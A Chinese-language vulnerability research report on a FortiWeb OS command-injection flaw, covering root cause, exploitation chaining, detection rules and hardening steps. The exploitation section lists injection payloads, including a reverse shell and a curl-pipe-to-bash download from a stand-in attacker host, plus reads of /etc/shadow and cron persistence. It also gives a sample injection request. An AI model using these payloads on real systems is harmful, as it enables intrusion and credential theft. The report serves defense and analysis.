CVE-2025-58034 FortiWeb 操作系统命令注入漏洞

综合安全研究报告

1. 执行摘要

1.1 概述

CVE-2025-58034 是一个影响 Fortinet FortiWeb Web 应用防火墙 (WAF) 产品的严重操作系统命令注入漏洞。该漏洞存在于policy_scripting_post_handler函数及相关 CLI 处理逻辑中，允许经过身份验证的攻击者通过精心构造的 HTTP 请求或 CLI 输入，以 root 权限执行任意操作系统命令，可能导致系统完全被攻陷。

1.2 关键信息

1.3 关键警报

• 这是一周内披露的第二个 FortiWeb 零日漏洞（继 CVE-2025-64446 之后）

• Trend Micro 已检测到全球约 2,000 次利用尝试

• 根据 CISA 要求，联邦机构必须在 2025 年 11 月 25 日前完成修补

• 可与 CVE-2025-64446（路径遍历 + 认证绕过，CVSS 9.1）链接实现未经身份验证的远程代码执行

• 漏洞已被 CISA 加入 Known Exploited Vulnerabilities (KEV) 目录

• 多个国家级 CERT 已发布预警，扫描与攻击活动显著增加

1.4 核心技术要点

• 漏洞位于 FortiWeb 的 HTTP API/管理功能处理函数policy_scripting_post_handler

• 该函数从 HTTP 请求或 CLI 命令中读取用户可控字符串，拼接到 shell 命令字符串中

• 最终通过系统调用（如system()）执行，缺少对 shell 特殊字符的严格过滤

• FortiWeb 管理进程以 root 身份运行，命令注入即等于直接 RCE

1.5 立即行动建议

1. 立即升级到已修补版本 (8.0.2+, 7.6.6+, 7.4.11+, 7.2.12+, 7.0.12+)

2. 将管理接口访问限制在可信 IP 范围内，禁止互联网直接访问

3. 为所有管理账户启用多因素认证 (MFA)

4. 检查日志中的未授权命令执行指标

5. 核查近期创建的管理员账号，排查 CVE-2025-64446 的攻击痕迹

2. 漏洞背景

2.1 FortiWeb 产品概述

FortiWeb 是 Fortinet 的企业级 Web 应用防火墙 (WAF)，常部署在 Web 应用和 Internet 边界之间，用于防护：

• OWASP Top 10 漏洞（SQL 注入、XSS、CSRF、文件包含等）

• OWASP Top 10 API 安全风险

• OWASP Top 10 客户端安全风险

• 机器人攻击和自动化威胁

• 零日漏洞和未知威胁

由于 FortiWeb 通常位于高价值应用之前，其本身属于"安全设备中的高价值资产"，一旦被攻陷：

• 攻击者可以看到、篡改、绕过 Web 防护策略

• 可以对经过的流量进行中间人分析甚至篡改

• 可以进一步攻击内部应用和数据库

• 可作为横向移动的跳板渗透内网

2.2 架构和部署模式

FortiWeb 支持多种部署模式以适应不同的网络架构：

部署模式：

• 反向代理模式 - 作为客户端和后端服务器之间的中介，处理流量后再转发

• 透明代理 (TTP) 模式 - 无需客户端配置更改的内联检测

• 透明检测 (TI) 模式 - 被动监控和日志记录

• WCCP 模式 - 通过 Web 缓存通信协议集成

• 离线保护模式 - 异步安全分析

高可用性选项：

• 主备 HA (Active-Passive)

• 标准双活 HA (Active-Active)

• 高容量双活 HA

2.3 管理接口与策略脚本功能

FortiWeb 提供多个管理接口，所有这些接口都与此漏洞相关：

1. 基于 Web 的管理界面- HTTPS 管理接口 (GUI)

2. REST API- 通过 HTTP/HTTPS 端点进行程序化访问（如 /api/v2/）

3. 命令行接口 (CLI)- SSH/控制台访问

4. FortiManager 集成- 集中管理平台

本次漏洞关联的模块为策略脚本（policy scripting）相关的 HTTP/CLI 处理逻辑，典型场景包括：

• 上传/编辑某类策略脚本或脚本配置

• 调用后台脚本执行器（如fw_policy_script之类内部工具）对配置进行解析/执行

• 提供诊断、调试或批量策略应用功能

从 ZDI 公告可知，问题函数名为policy_scripting_post_handler，表明其负责处理某个 HTTP POST 请求并触发策略脚本相关操作。

2.4 安全重要性

作为边界安全设备，FortiWeb 在安全架构中占据关键位置：

• 位于外部网络和受保护的 Web 应用程序之间

• 处理被检测流量的 SSL/TLS 终止

• 可访问敏感的应用程序数据和凭据

• 控制 Web 应用程序的安全策略

FortiWeb 被攻陷将使攻击者能够：

• 绕过后端应用程序的所有 WAF 保护

• 访问解密的流量和敏感数据

• 将设备用作攻击内部网络的跳板

• 在网络边界建立持久访问

• 修改安全策略来隐藏自身攻击行为

3. 时间线

3.1 详细事件时间线

3.2 时间线分析

时间线揭示了多个令人担忧的模式：

1. 漏洞长期潜伏- 从厂商知晓到公开披露经历了约5个月的修复周期

2. 静默修补引发关注- 10月底静默修补 CVE-2025-64446 而未公开披露

3. 野外利用先于公告- 在官方公告发布前已发生活跃利用

4. 集中爆发- 四天内披露了两个零日漏洞，表明针对性攻击

5. 快速升级至KEV- 快速加入 CISA KEV 表明严重的威胁评估

6. 攻击者可能提前掌握- 部分攻击者可能在官方公告前已经掌握利用能力

4. 影响范围

4.1 受影响版本

注意：未显示在上述矩阵中的更老分支，一般已经 EoL 或不再维护。

4.2 部署暴露

FortiWeb 部署于各个行业：

• 金融服务和银行业

• 医疗保健机构

• 政府机构

• 电子商务平台

• 科技公司

• 关键基础设施

该产品保护：

• 面向客户的 Web 应用程序

• 内部企业应用程序

• API 端点和微服务

• 移动应用程序后端

4.3 全球暴露评估

基于可用情报：

• Trend Micro 检测到约 2,000 次利用尝试

• FortiWeb 设备通常暴露在互联网上以进行远程管理

• 由于补丁周期延迟，许多组织运行受影响的版本

• 与 CVE-2025-64446 链接显著扩大了攻击面

• 各国 CERT/国家级网络安全中心已发布预警

• 多家安全厂商已发布检测插件（Nessus 275774、Qualys/OpenVAS 对应 QID）

4.4 业务影响

纵向影响 - 设备自身：

• 完全系统控制- 攻击者可通过命令注入修改系统配置

• 持久化驻留- 添加后门账号、SSH 公钥、植入脚本

• 隐蔽性- 可篡改启动脚本保证重启后依旧存在后门，修改日志策略降低被发现概率

• 禁用安全功能- 关闭 WAF 规则、日志记录、告警

横向影响 - 网络渗透：

• FortiWeb 通常位于网络边界或核心业务应用前端

• 可窃听、篡改经过的 Web 流量

• 可作为 pivot 主机对应用服务器、数据库、内部管理网进行横向移动

• 可结合已有 Web 应用访问权限对下游系统实施进一步攻击

机密性影响（高）：

• Web 应用程序流量暴露

• 访问配置机密和凭据

• 可能访问 SSL/TLS 私钥

完整性影响（高）：

• 修改 WAF 安全策略

• 篡改应用程序流量

• 安装持久后门

可用性影响（高）：

• 通过设备中断进行拒绝服务

• 移除应用程序的安全保护

• 事件响应期间的服务中断

5. 技术分析

5.1 漏洞分类

CWE-78：操作系统命令中使用的特殊元素的不当中和（'操作系统命令注入'）

此漏洞发生在：

1. 应用程序使用用户输入构建操作系统命令字符串

2. 输入未正确清理或验证

3. 攻击者注入 shell 元字符以执行额外命令

5.2 关键函数：policy_scripting_post_handler

ZDI 公告明确指出漏洞位于policy_scripting_post_handler函数，其职责可推测为：

• 处理与"策略脚本（policy scripting）"相关的 HTTP POST 请求

• 从请求体中读取若干参数（脚本名称、路径、内容、执行选项等）

• 调用内部工具或脚本执行器将这些参数传给底层系统命令

基于 FortiWeb 过往 OS Command Injection 漏洞的修复经验，可以合理推导其典型实现结构如下（伪代码）：

int policy_scripting_post_handler(http_request_t *req) {
    char cmd[512];
    const char *user_script = http_get_param(req, "script");      // 用户可控
    const char *action      = http_get_param(req, "action");      // 例如 "run" / "test"

    // 伪代码：拼接命令字符串
    snprintf(cmd, sizeof(cmd),
             "/usr/local/bin/fw_policy_script --action %s --script %s",
             action, user_script);

    // 关键问题：直接交给 shell 解释
    int ret = system(cmd);
    return ret;
}

关键问题分析：

1. 用户输入-user_script/action等来自 HTTP 请求体，攻击者可控

2. 字符串拼接- 使用snprintf将字符串拼好再交给system

3. shell 解析-system()在 POSIX 系统上等价于/bin/sh -c "<cmd>"，<cmd>中的 shell 特殊字符会被解释

4. 无安全过滤/转义- 如果user_script中包含;,&&,|,$(),`等，shell 会将其解析为命令分隔符或命令替换

5.3 CLI 分支漏洞

Fortinet 官方描述为"Multiple OS command injection in API and CLI"，表明漏洞不仅存在于 HTTP API 处理路径，还存在于与 CLI 交互的代码路径中。

CLI 分支存在类似的代码模式（伪代码示例）：

void cli_policy_scripting_cmd(cli_ctx_t *ctx, int argc, char **argv) {
    char cmd[512];
    const char *script = argv[1];   // 用户在 CLI 输入的脚本名
    const char *option = argv[2];   // 可选参数

    snprintf(cmd, sizeof(cmd),
             "/usr/local/bin/fw_policy_script %s %s",
             script, option);

    system(cmd);   // 同样的命令注入根因
}

CLI 命令通常可通过：

• SSH 直接登录设备

• Web GUI 提供的"CLI Console"嵌入式终端（以管理员身份执行）

5.4 攻击向量分析

CVSS v3.1 向量字符串：AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

5.5 进程权限与执行环境

FortiWeb 管理面组件通常以较高权限运行（常见为 root），原因包括：

• 需要修改网络配置（防火墙策略、路由、NAT）

• 需要读取/写入系统日志、证书、密钥

• 需要管理系统服务（HTTPD、WAF 引擎、反向代理模块等）

因此，一旦policy_scripting_post_handler发生命令注入：

• 注入命令将以 root 身份执行

• 无需额外的提权环节

• 可直接修改系统关键文件或植入内核级后门

5.6 OS Command Injection 的底层机制

以system()为例，其底层执行行为如下：

int system(const char *cmd) {
    pid_t pid = fork();
    if (pid == 0) {
        // child
        execl("/bin/sh", "sh", "-c", cmd, (char*)NULL);
        _exit(127);
    }
    // parent: waitpid, 返回 shell 退出码
}

因此，任何传入 cmd 字符串中的 shell 元字符都将被/bin/sh解释。

5.7 与历史 FortiWeb 命令注入漏洞关联

FortiWeb 在 2024-2025 年间已披露多起 OS Command Injection 漏洞（如 CVE-2024-50567、CVE-2024-50569，对应cgi_grpc_idl_file_post、gui_upload_compress_act等处理函数），共同特征包括：

• HTTP/GUI 处理函数从请求参数中读取文件名、路径或命令参数

• 直接拼接到系统命令字符串中然后执行

• 缺少对危险字符的净化或对命令执行行为的封装

CVE-2025-58034 可以看作是同一类安全设计缺陷在不同代码路径中的再次出现。

6. 漏洞成因

6.1 根本原因

该漏洞源于命令构建例程中的输入验证不足。用户提供的输入直接连接到操作系统命令字符串中，而没有适当的清理。

从软件工程与安全设计视角来看，CVE-2025-58034 的根本成因可归纳为：

6.2 信任边界划分不清

• 将"管理功能输入"（HTTP/CLI 参数）直接视为可信

• 未在进入系统命令层时重新做严格校验

• 假设"已认证用户"的输入是安全的

6.3 命令执行模型错误

• 使用system()/popen()等"交给 shell 执行字符串"的模型

• 而不是使用execve()/posix_spawn()之类严格分隔参数的 API

易受攻击的代码模式：

// 危险模式
snprintf(cmd, sizeof(cmd), "/bin/ping -c 4 %s", target);
system(cmd);

// 安全模式应该使用
char *args[] = {"/bin/ping", "-c", "4", target, NULL};
execve("/bin/ping", args, env);

6.4 输入校验和编码不足

没有对脚本名/参数进行：

• 白名单字符集限制（如仅允许[a-zA-Z0-9_.-]）

• 长度限制

• 路径规范化（防止../）

• 特殊字符转义或拒绝

对于 CLI 输入的处理同样缺乏类似约束。

6.5 权限与隔离不足

• 管理组件以 root 权限运行

• 缺乏"命令执行沙箱"或单独的低权限执行代理

• 没有最小权限原则

6.6 安全审计缺失

2024-2025 年间多次出现类似命令注入问题，说明：

• 该模块或代码库的安全审计覆盖不足

• 可能缺少针对"构造 shell 命令"模式的静态代码审计规则

• 没有从过去的漏洞中吸取教训

6.7 危险的 Shell 元字符

以下字符在未过滤时可实现命令注入：

7. 利用方式

7.1 攻击前提条件

必要条件：

1. 存在暴露在攻击面上的 FortiWeb 设备

2. 设备运行的是受影响版本

3. 攻击者满足其一：

   • 已获取 FortiWeb 管理员或高权限账号（弱口令、钓鱼、撞库等）

   • 通过 CVE-2025-64446 等漏洞成功创建管理员账号（攻击链场景）

   • 内部攻击者（恶意运维）具有合法管理权限

凭据获取方法：

• 针对管理员的钓鱼攻击

• 使用泄露密码的凭据填充

• 针对弱密码的暴力破解

• 入侵集中式认证系统

• 供应链攻击

• 与 CVE-2025-64446（未经身份验证的路径遍历）链接

7.2 典型 Web API 利用流程

1. 认证阶段：

POST /api/v2/login HTTP/1.1
Host: fortiweb.target.com
Content-Type: application/json

{
  "username": "admin",
  "password": "compromised_password"
}

响应（成功）：

{
  "session": "eyJhbGciOiJIUzI1...",
  "expire": 3600
}

2. 定位策略脚本相关 API：

• 调用与策略管理相关的 API（如"上传脚本"、"测试脚本"、"执行脚本"之类的功能）

• 通过错误提示、返回值或官方文档推断参数名称（如 script, name, action 等）

3. 构造带有注入载荷的参数：

基本 Payload 模式：

# 命令分隔符注入
safe_name; /usr/bin/id > /tmp/pwned

# 管道注入
safe_name | cat /etc/passwd

# AND 运算符注入
safe_name && whoami

# 命令替换注入
$(cat /etc/shadow)

# 反引号注入
`id`

高级 Payload 模式：

# Base64 编码命令
;$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# 反向 shell
;bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 下载并执行
;curl http://attacker.com/shell.sh | bash

# 通过 cron 持久化
;echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root

7.3 理论 HTTP 请求示例

策略脚本功能注入（理论）：

POST /api/v2/policy/scripting HTTP/1.1
Host: fortiweb.target.com
Authorization: Bearer <session_token>
Content-Type: application/json

{
  "script": "safe_name; /usr/bin/id > /tmp/pwned",
  "action": "run"
}

执行的命令类似于：

/usr/local/bin/fw_policy_script --action run --script safe_name; /usr/bin/id > /tmp/pwned

在 shell 中会被解析为两条命令：

1. /usr/local/bin/fw_policy_script --action run --script safe_name

2. /usr/bin/id > /tmp/pwned

7.4 CLI 利用流程

1. 攻击者通过 SSH 或 Web GUI 中的 CLI 控制台登录到 FortiWeb

2. 执行某个与"策略脚本"关联的 CLI 命令

3. 在命令参数中构造包含 shell 特殊字符的字符串

# CLI 命令注入示例
FortiWeb# execute policy-script run "safe_name; whoami"

7.5 与 CVE-2025-64446 链接

CVE-2025-64446（CVSS 9.1）是一个未认证相对路径遍历 + 认证绕过漏洞，可创建管理员账户。组合攻击链：

1. 利用 CVE-2025-64446（未经身份验证）
   -> 构造特定 URL，利用路径遍历访问未受认证保护的老式 CGI 处理器
   -> 创建新的管理员账号或获取现有管理员凭据

2. 利用 CVE-2025-58034（现在实际上未经身份验证）
   -> 使用新建或窃取的账户登录
   -> 执行任意操作系统命令

结果：从 Internet 端完全接管 FortiWeb 的完整链条（Pre-auth to root RCE）

这种链接将经过身份验证的漏洞转换为未经身份验证的攻击向量。

8. 攻击链分析

8.1 单点利用：仅依赖 CVE-2025-58034

在仅利用本漏洞的情况下，攻击链大致如下：

1. 攻击者通过传统手段获取 FortiWeb 管理员凭据（撞库、钓鱼、内部人员等）

2. 登录 FortiWeb 管理界面或 CLI

3. 利用policy_scripting_post_handler命令注入执行恶意命令

4. 完全控制 FortiWeb 设备，建立持久化 & 横向移动

这种情况下，漏洞本身是"认证后 RCE"，因此 CVSS 分值为中高（6.x-7.x），但在现实环境中仍属关键风险。

8.2 组合利用：CVE-2025-64446 + CVE-2025-58034

更为危险的场景是与 CVE-2025-64446 的组合使用：

阶段 1：前置 - 利用 CVE-2025-64446

• 未认证攻击者构造特定 URL，利用路径遍历访问未受认证保护的老式 CGI 处理器

• 通过该处理器创建新的管理员账号或获取现有管理员凭据

• FortiWeb 完全被"静默接管"，日志甚至可能被篡改或丢失

阶段 2：横向 - 登录管理平面

• 使用新建或窃取的管理员账户登录 FortiWeb 管理界面或 CLI

• 对防护策略、日志行为进行"清洗"和掩盖

阶段 3：核心 - 利用 CVE-2025-58034 执行系统命令

• 调用policy_scripting_post_handler相关功能，注入系统命令

• 以 root 身份在设备上执行任意命令

• 部署持久化组件（如反向 shell、定时任务、内网扫描器等）

阶段 4：后续 - 内网渗透与数据窃取

• 利用 FortiWeb 所在网络位置向后端应用服务器、数据库、管理网络继续扩展

• 可能形成勒索软件攻击、数据窃取、供应链攻击等复杂场景

8.3 完整攻击流程图

阶段 1：侦察
|
+-> 识别 FortiWeb 目标（Shodan、Censys 扫描）
+-> 通过 SSH banner 或 web 指纹确定版本
+-> 确认漏洞状态
|
v
阶段 2：初始访问
|
+-> 获取凭据（钓鱼、暴力破解、泄露）
    或
+-> 与 CVE-2025-64446 链接绕过认证
+-> 对管理接口进行身份验证
|
v
阶段 3：利用
|
+-> 识别策略脚本相关 API/功能
+-> 构造命令注入 payload
+-> 通过 HTTP 或 CLI 执行 payload
+-> 验证命令执行（id、whoami）
|
v
阶段 4：后渗透
|
+-> 建立持久性（cron、启动脚本、SSH 密钥）
+-> 收集凭据和配置
+-> 下载 SSL/TLS 证书和密钥
+-> 修改 WAF 策略以绕过保护
+-> 禁用日志记录和告警
|
v
阶段 5：横向移动
|
+-> 使用 FortiWeb 作为跳板
+-> 攻击内部 Web 服务器
+-> 访问受保护的后端系统
+-> 扩大网络立足点

8.4 攻击时间线示例

T+0:00   攻击者扫描暴露的 FortiWeb 实例
T+0:15   识别运行 FortiWeb 7.4.8 的目标
T+0:30   尝试利用 CVE-2025-64446 创建管理员账户
T+1:00   成功创建后门管理员账户
T+1:30   以新账户登录管理界面
T+2:00   定位策略脚本功能
T+2:15   测试命令注入，确认使用 "id" 命令
T+2:30   建立反向 shell 连接
T+3:00   下载配置和证书
T+3:30   创建持久后门（cron job、SSH 密钥）
T+4:00   修改 WAF 规则以允许后续攻击
T+4:30   清理日志，掩盖入侵痕迹
T+5:00   开始内网扫描和横向移动

9. 环境搭建与复现

9.1 复现限制

直接复现此漏洞面临重大限制：

技术限制：

1. FortiWeb 是需要有效 Fortinet 许可证的商业产品

2. 没有官方 Docker 镜像或社区容器可用

3. 许可证通常与硬件序列号绑定

4. 虚拟机部署需要特定的虚拟化支持

道德和法律限制：

1. 漏洞测试必须仅在授权系统上进行

2. 未经授权利用生产系统是违法的

3. 研究人员必须获得适当的安全研究许可

9.2 基础实验拓扑

建议的最小实验拓扑：

[互联网]
                        |
                    [防火墙]
                        |
                [测试网络（完全隔离）]
                        |
        +---------------+---------------+
        |               |               |
   [攻击者虚拟机]   [FortiWeb虚拟机]   [目标Web服务器]
   (Kali Linux)    (易受攻击版本)     (测试应用程序)

隔离要求：

• 完全与生产网络隔离

• 与企业系统无连接

• 使用专用测试 IP 范围

• 管理口仅连到实验管理网段

9.3 授权测试环境选项

选项 1：Fortinet 评估许可证

从 Fortinet 申请评估访问：

• URL：https://www.fortinet.com/demo

• 提供有时间限制的完整功能

• 适合授权的安全研究

选项 2：虚拟机部署

系统要求：

• 虚拟化：VMware ESXi 6.7+、KVM、Hyper-V 或云平台

• 资源：最低 2 vCPU、4GB RAM、40GB 磁盘

• 网络：管理接口、WAF 接口

部署步骤：

1. 在已获授权的前提下，从 Fortinet 支持网站获取 FortiWeb VM 镜像

2. 在虚拟化环境中创建新虚机并导入镜像

3. 按官方文档完成基础初始化（设置管理 IP、默认管理员密码等）

4. 将设备升级/降级到一个受影响但仍在支持范围内的测试版本

5. 确认设备不对互联网开放，仅局限于实验网络

选项 3：云部署

在云市场上可用：

• AWS Marketplace

• Azure Marketplace

• Google Cloud Marketplace

优势：

• 按使用付费许可

• 快速部署

• 隔离环境

9.4 漏洞复现的高层步骤

1. 在攻击机上通过浏览器或命令行工具访问 FortiWeb 管理界面

2. 使用实验账号登录（可自建管理员账号）

3. 在 GUI 中查找与"策略脚本 / policy scripting / 自定义脚本"等相关的功能入口

4. 使用网络抓包工具（如 Burp、Fiddler、tcpdump）观察对应的 HTTP 请求：

   • 记录请求 URL、HTTP 方法（通常是 POST）、参数名称

5. 在保证不破坏设备的前提下，逐步向可疑参数中插入异常字符

6. 观察是否出现异常错误信息或系统行为（如意外输出、文件产生等）

7. 如观察到明显超出预期的命令执行迹象，即可确认命令注入路径存在

9.5 安全概念验证测试

非破坏性验证：

# 使用无害命令测试命令执行
# Payload: ; id
# 预期：显示用户/组信息

# 替代：; hostname
# 预期：显示设备主机名

# 替代：; uname -a
# 预期：显示系统信息

# 写入临时文件验证
# Payload: ; echo "test" > /tmp/pwned
# 检查：ls -la /tmp/pwned

9.6 重要安全注意事项

• 切勿在生产系统上测试

• 不要使用破坏性命令

• 记录所有测试活动

• 测试后清理所有工件

• 负责任地报告发现

• 实验结束后，务必将 FortiWeb 升级到最新修复版本或直接销毁该实验虚机快照

9.7 替代研究方法

如果无法搭建测试环境：

1. 静态分析- 审查供应商文档和以前的 CVE 模式

2. 文献研究- 研究其他产品中的类似 CWE-78 漏洞

3. 威胁情报- 监控安全研究出版物

4. 日志分析- 分析检测签名而不进行主动利用

10. 检测方法

10.1 多层检测策略

检测既包括是否存在易受攻击资产，也包括是否已被利用或正在被攻击。

层 1：资产发现
   -> 识别所有 FortiWeb 实例
   -> 版本清单

层 2：漏洞扫描
   -> 认证版本检查
   -> 配置审计

层 3：网络监控
   -> IDS/IPS 签名
   -> 流量异常检测

层 4：日志分析
   -> 命令注入模式
   -> 认证异常

层 5：端点检测
   -> 进程监控
   -> 文件完整性检查

10.2 资产识别与版本检测

方法 1：SSH Banner 检查

import socket
import re

def check_fortiweb_version(host, port=22, timeout=5):
    """通过 SSH banner 检查 FortiWeb 版本。"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        banner = sock.recv(1024).decode(errors='ignore')
        sock.close()

        match = re.search(r'FortiWeb[-\s]?v?(\d+\.\d+\.\d+)', banner, re.I)
        if match:
            return match.group(1)
        return None
    except Exception as e:
        return None

def is_vulnerable(version):
    """检查版本是否易受攻击。"""
    vulnerable_ranges = {
        '8.0': ('8.0.0', '8.0.1'),
        '7.6': ('7.6.0', '7.6.5'),
        '7.4': ('7.4.0', '7.4.10'),
        '7.2': ('7.2.0', '7.2.11'),
        '7.0': ('7.0.0', '7.0.11')
    }

    major_minor = '.'.join(version.split('.')[:2])
    if major_minor in vulnerable_ranges:
        min_ver, max_ver = vulnerable_ranges[major_minor]
        return min_ver <= version <= max_ver
    return False

# 使用示例
version = check_fortiweb_version("192.168.1.100")
if version:
    print(f"版本：{version}")
    print(f"易受攻击：{is_vulnerable(version)}")

方法 2：CLI 版本检查

FortiWeb# get system status
# 输出包含：Version: FortiWeb vX.Y.Z

方法 3：API 版本查询

curl -k -H "Authorization: Bearer $TOKEN" \
  https://fortiweb/api/v2/system/status | jq '.version'

方法 4：使用安全厂商插件

• Nessus 插件 275774

• Qualys/OpenVAS 对应 QID

重点关注：

• 版本在 7.0.0-7.0.11、7.2.0-7.2.11、7.4.0-7.4.10、7.6.0-7.6.5、8.0.0-8.0.1 的设备

• 暴露在互联网的 FortiWeb 管理接口（HTTP/HTTPS/SSH）

10.3 日志与行为检测

HTTP/API 层面：

检查 FortiWeb 管理日志与 HTTP 访问日志，关注：

• 指向策略脚本相关路径（policy scripting）的异常 POST 请求

• 请求参数中出现大量 shell 特殊字符

• 请求来源 IP 与正常运维 IP 不一致

FortiWeb 日志分析：

# 在日志中搜索注入模式
grep -Ei "[\;\|\&\`\$\(\)]" /var/log/fortiweb/httpsd.log

# 搜索策略脚本相关请求
grep -Ei "policy.script|scripting" /var/log/fortiweb/httpsd.log

# 搜索可疑诊断命令
grep -Ei "diagnose|ping|traceroute" /var/log/fortiweb/cli.log | \
  grep -E "[\;\|\&]"

# 检查异常命令输出
grep -Ei "uid=|root:|shadow" /var/log/fortiweb/*.log

系统行为层面：

监控/回溯 FortiWeb 上的异常系统行为：

• 异常的进程创建（bash, sh, nc, curl, wget 等突然出现）

• /tmp、/var/tmp、/var/log目录下出现可疑脚本或二进制文件

• 未知的定时任务（crontab）或启动项

# 检查可疑进程
ps aux | grep -E "sh |bash |python |perl |nc " | grep -v grep

# 检查 cron 作业
crontab -l
ls -la /etc/cron.*

# 检查启动脚本
ls -la /etc/init.d/
systemctl list-unit-files | grep enabled

# 检查未授权的 SSH 密钥
cat /root/.ssh/authorized_keys

账号与配置层面：

全面梳理 FortiWeb 管理员账号列表，检测：

• 最近新增或修改的账号（关联 CVE-2025-64446）

• 异常的登录时间/源 IP

• 异常的配置变更

10.4 基于网络的检测

IDS/IPS 签名：

# Suricata 潜在命令注入规则
alert http any any -> $FORTIWEB_SERVERS any (
    msg:"FORTIWEB 策略脚本命令注入 CVE-2025-58034";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"script"; http_client_body;
    pcre:"/[\;\|\&\`\$\(\)\x0a\x0d]/";
    classtype:web-application-attack;
    sid:2025058034;
    rev:1;
)

# 编码字符的替代模式
alert http any any -> $FORTIWEB_SERVERS any (
    msg:"FORTIWEB URL 编码命令注入尝试";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/"; http_uri;
    content:"%0"; nocase;
    classtype:web-application-attack;
    sid:2025058035;
    rev:1;
)

Snort 规则：

alert tcp any any -> $FORTIWEB_IP 443 (
    msg:"FortiWeb 命令注入尝试";
    content:"|3b|"; # 分号
    content:"script"; nocase;
    sid:1000001;
    rev:1;
)

10.5 行为检测

异常指标：

1. 认证异常

   • 来自异常 IP 地址的登录

   • 工作时间外的登录

   • 多次失败尝试后成功

   • 来自不同位置的并发会话

2. API 活动异常

   • 指向策略脚本相关路径的异常 POST 请求

   • 大量诊断命令

   • 维护窗口外的配置更改

   • 快速连续请求

3. 系统异常

   • FortiWeb 服务生成的意外子进程

   • 到未知目标的出站连接

   • 异常目录中的文件系统更改

   • 新的计划任务或 cron 作业

10.6 SIEM 检测规则

Splunk 示例：

index=fortiweb sourcetype=fortiweb:httpsd
| regex _raw="[\;\|\&\`\$\(\)]"
| search "script" OR "scripting" OR "policy"
| stats count by src_ip, uri_path, http_method
| where count > 5
| table _time, src_ip, uri_path, count

Elastic SIEM 示例：

{
  "query": {
    "bool": {
      "must": [
        { "match": { "event.dataset": "fortiweb" }},
        { "regexp": { "url.path": ".*script.*" }},
        { "regexp": { "request.body": ".*[;|&`$()].*" }}
      ]
    }
  }
}

10.7 威胁情报检测

• 利用 IDS/IPS/WAF 等设备导入厂商最新规则（针对 FG-IR-25-513 的特征签名）

• 使用威胁情报平台检测：

  • 是否有来自已知恶意 IP 的扫描/访问 FortiWeb 设备

  • 是否存在与公开利用活动相关的特定 user-agent、TLS 指纹等

10.8 日志中的常见攻击指标

# 注入尝试指标
;id
;whoami
;cat /etc/passwd
$(command)
`command`

# 反向 shell 指标
/dev/tcp/
bash -i
nc -e
python -c

# 后渗透指标
curl http://
wget http://
/tmp/
chmod +x

11. 防护措施

11.1 立即行动（0-24小时）

优先级 1：紧急补丁

# 从 Fortinet 支持门户下载固件
# https://support.fortinet.com

# 首先备份当前配置
FortiWeb# execute backup config tftp <filename> <tftp_server>

# 通过 CLI 升级
FortiWeb# execute restore image tftp <firmware_file> <tftp_server>
FortiWeb# execute reboot

将所有受影响版本升级到至少：

• 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2

优先处理暴露在互联网的设备和关键业务前端。

优先级 2：限制管理接口暴露

# 将管理接口限制到特定 IP
FortiWeb# config system interface
FortiWeb (interface)# edit mgmt
FortiWeb (mgmt)# set allowaccess https ssh
FortiWeb (mgmt)# set trusted-host1 10.0.0.0/24
FortiWeb (mgmt)# end

• 禁止从互联网直接访问 FortiWeb 管理 GUI/API/SSH

• 仅允许通过管理专用网段或通过 VPN/跳板机访问

• 对管理端口设置基于 IP 的访问控制列表（ACL）

优先级 3：加强认证安全

# 配置管理员可信主机
FortiWeb# config system admin
FortiWeb (admin)# edit admin
FortiWeb (admin)# set trusted-hosts 10.0.0.100/32 10.0.0.101/32
FortiWeb (admin)# end

# 启用双因素认证
FortiWeb (admin)# set two-factor fortitoken
FortiWeb (admin)# set fortitoken <serial_number>
FortiWeb (admin)# end

• 启用多因素认证（MFA）

• 强制修改所有管理员密码，避免与其他系统重复

• 对近期创建的管理员账号进行逐一核查（排查 CVE-2025-64446 的攻击痕迹）

优先级 4：临时风险缓解（如无法立即打补丁）

# 如不需要，禁用通过 HTTP 的 CLI
FortiWeb# config system global
FortiWeb (global)# set cli-http disable
FortiWeb (global)# end

• 暂时关闭或限制策略脚本相关功能

• 在上游 WAF/反向代理处加入对 FortiWeb 管理路径的额外访问控制

• 拉高监控告警阈值，即时发现异常行为

11.2 短期措施（24-72小时）

访问控制加固：

# 设置密码策略
FortiWeb# config system password-policy
FortiWeb (password-policy)# set status enable
FortiWeb (password-policy)# set min-length 12
FortiWeb (password-policy)# set min-upper-case-letter 1
FortiWeb (password-policy)# set min-lower-case-letter 1
FortiWeb (password-policy)# set min-number 1
FortiWeb (password-policy)# set min-non-alphanumeric 1
FortiWeb (password-policy)# set expire 90
FortiWeb (password-policy)# end

网络分段：

• 将管理接口放在专用 VLAN 上

• 使用跳板机进行管理访问

• 实施网络访问控制列表

增强监控：

# 配置 syslog 转发
FortiWeb# config log syslogd setting
FortiWeb (setting)# set status enable
FortiWeb (setting)# set server <siem_server_ip>
FortiWeb (setting)# set port 514
FortiWeb (setting)# set facility local7
FortiWeb (setting)# end

# 启用详细审计日志
FortiWeb# config system global
FortiWeb (global)# set admin-lockout-threshold 3
FortiWeb (global)# set admin-lockout-duration 300
FortiWeb (global)# end

11.3 长期措施（结构性改进）

1. 管理平面安全架构提升

• 将管理接口完全独立到专用管理网络

• 使用跳板机/PAM（Privileged Access Management）集中管控高权限账户

推荐架构：

[互联网]
                        |
                    [边缘防火墙]
                        |
                    [DMZ 区域]
                        |
                   [FortiWeb]
                        |
                    [内部防火墙]
                        |
                [应用程序服务器]

管理访问路径：
[管理员工作站] -> [跳板机] -> [管理 VLAN] -> [FortiWeb 管理]

关键原则：

• 管理接口永不暴露在互联网上

• 所有管理访问通过跳板机

• 区域之间的网络分段

• 每个边界处记录日志

2. 统一漏洞管理流程

• 将 FortiWeb 等安全设备纳入关键资产清单

• 建立"厂商安全通告 -> 内部工单 -> 风险评估 -> 验证 -> 部署"的标准流程

• 为 CISA KEV 中的漏洞设置更高优先级

3. 安全编码与审计规范

• 对所有涉及系统命令调用的代码进行专项审计

• 强制采用参数化执行（execve 等）与严格输入校验

• 引入静态代码分析规则，自动识别"构造 shell 命令字符串 + system/popen"模式

4. 蓝队演练与攻防对抗

